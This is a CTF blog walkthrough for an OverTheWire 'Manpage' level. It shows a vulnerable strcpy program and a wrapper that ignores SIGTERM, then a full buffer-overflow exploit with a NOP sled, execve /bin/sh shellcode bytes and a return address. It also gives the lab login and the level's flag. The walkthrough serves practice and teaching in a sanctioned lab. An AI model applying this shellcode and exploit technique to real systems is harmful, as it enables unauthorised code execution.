Avatar
Part time CTF Player learn every day!!
🌠 I Love Hoshimachi Suisei!! 🌠
🌠 I Love Hoshimachi Suisei!! 🌠

OverTheWire Manpage Level 0 → 1 tutorial!!

Login

Use the manpage0 account from the previous level.

ssh manpage0@manpage.labs.overthewire.org -p 2224
# password: manpage0

Goal

Overflow the buffer to gain control of EIP and execute shellcode, but the challenge raises SIGTERM on long input. We must ignore SIGTERM so the program doesn’t terminate before our payload runs.

Given program

#include <stdio.h>
#include <string.h>
#include <signal.h>

int main(int argc, char *argv[])
{
    char buf[256];
    if(!argv[1]) return 0;
    strcpy(buf, argv[1]);
    if(strlen(buf) >= sizeof(buf) - 1) // no obos :)
        raise(SIGTERM);
    return 0;
}

The input is copied into a fixed 256-byte stack buffer using strcpy (unsafe), then the program calls raise(SIGTERM) if the length is long. We’ll make the target ignore SIGTERM so execution continues into our shellcode.

Approach

  1. Launch the target via a wrapper that sets signal(SIGTERM, SIG_IGN) before execve(). Signals set to SIG_IGN stay ignored across exec.
  2. Craft a payload: NOP sled + /bin/sh shellcode + padding + RET → sled.
  3. Use gdb to confirm the offset (260) and choose a reliable return address inside the sled.

Wrapper (disable SIGTERM, then execve target)

// pwn.c
#include <unistd.h>
#include <signal.h>
#include <string.h>

int main(int argc, char* argv[]){
    char* arg[]={
        "/manpage/manpage1",
        argc > 1 ? argv[1] : NULL,
        NULL
    };
    char* envp[]={ NULL };
    signal(SIGTERM, SIG_IGN);   // keep ignored across exec
    execve("/manpage/manpage1", arg, envp);
    return 0; // if execve fails
}

Compile (writeable dirs like /tmp are safest):

cc -m32 -fno-stack-protector -z execstack -o pwn pwn.c

Notes: -m32 if toolchain supports 32-bit; stack protections disabled for lab reproducibility. If not available, omit and proceed—OTW binaries are usually compiled without protections suitable for the exercise.

Finding the offset & buffer address

gdb -q /manpage/manpage1 <<'GDB'
set disassembly-flavor intel
break *main
run AAAA
print/x &buf
quit
GDB
  • Offset to EIP is 260 bytes.
  • Use &buf you just printed and choose RET = &buf + 120 (lands in the middle of the 100-byte sled + shellcode). Adjust ±16 if needed.

Payload layout

  • \x90 × 100 (NOP sled)
  • /bin/sh shellcode (classic 32-bit Linux): \x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80
  • A × 132 (padding up to EIP at offset 260)
  • little-endian RET to sled (e.g., \x48\xdc\xff\xff for 0xffffdc48) — adjust for your run.

Exploit

./pwn $(python3 -c 'import sys,struct;
payload  = b"\x90"*100
payload += b"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e"
payload += b"\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80"
payload += b"A"*132
payload += struct.pack("<I", 0xffffdc48)  # example: &buf+120; replace with your value
sys.stdout.buffer.write(payload)')

This yields a shell and the flag febiukovie.

Why this works

  • signal(SIGTERM, SIG_IGN) remains in effect across execve, so the target ignores raise(SIGTERM) and continues running.
  • With strcpy into a 256-byte buffer and total input >260 bytes, we overwrite EIP.
  • Jumping into the NOP sled transfers control to our /bin/sh shellcode.

Troubleshooting

  • Segmentation fault immediately: your RET likely misses the sled. Adjust by ±16–32 bytes relative to &buf+120.
  • illegal option -m32 / cannot find 32-bit libs: drop -m32; exploit layout remains the same on this box.
  • python: command not found: use python3.

Congrats 🎉 You’re now through Level 0 → 1 — time to RTFM even harder for Level 1 → 2!


Thanks for reading!

See you in the next level — Otsumachi!! 💖☄️✨

Cinema

all tags

GOT-overwrite aboutme aead ai alphanumeric-shellcode apt argc0 argon2 aslr assembly asymmetric atoi automation backbox bandit base64 bash beginner behemoth binary binary-exploitation binary-to-ascii blackarch blind blind-sqli blogging blue-team bruteforce buffer-overflow buffer-overwrite c caesar canary capabilities checksec command-injection commonmark cookie cron crypto cryptography ctf cutter cyberchef cybersecurity defenders detection dev directory-traversal dnf docs drifter ecc education elf env envp exploitation finale forensics format-string formulaone frequency frequency-analysis gcc gdb getchar gfm ghidra github-pages governance gpg guide hashing hkdf http jekyll jmpbuf kali kasiski kdf kernel keylength kramdown krypton lab ld_preload leviathan lfi lfsr linux linux-syscall llmops log-poisoning ltrace manpage markdown maze memcpy mitigations mitmproxy mlops narnia natas networking newline-injection nonce nop-sled nx object-injection obsidian openssl osint overflow overthewire package-manager pacman parrot path path-hijacking pathname php pie pkc pki pointer-trick pqc priv-esc privilege-escalation provable-security pwn pwntools pyshark python race-condition radare2 rag randomness recon red-team redirect relro requests ret2env ret2libc reverse-engineering reversing ricing roadmap rop rot13 rsa scapy security seed seo serialization session setjmp-longjmp setuid shell shellcode smoke soc sockets sprintf sql-injection srop stack-canary stack-overflow strace strcmp strcpy streamcipher strings strncpy strtoul substitution suid suisei symlink symmetric terminal test threat-intel time-based tls troubleshooting tshark type-juggling ubuntu udp utumno vigenere virtualbox virtualization vmware vortex walkthrough web windows wireshark writing wsl x86
dash theme for Jekyll by bitbrain made with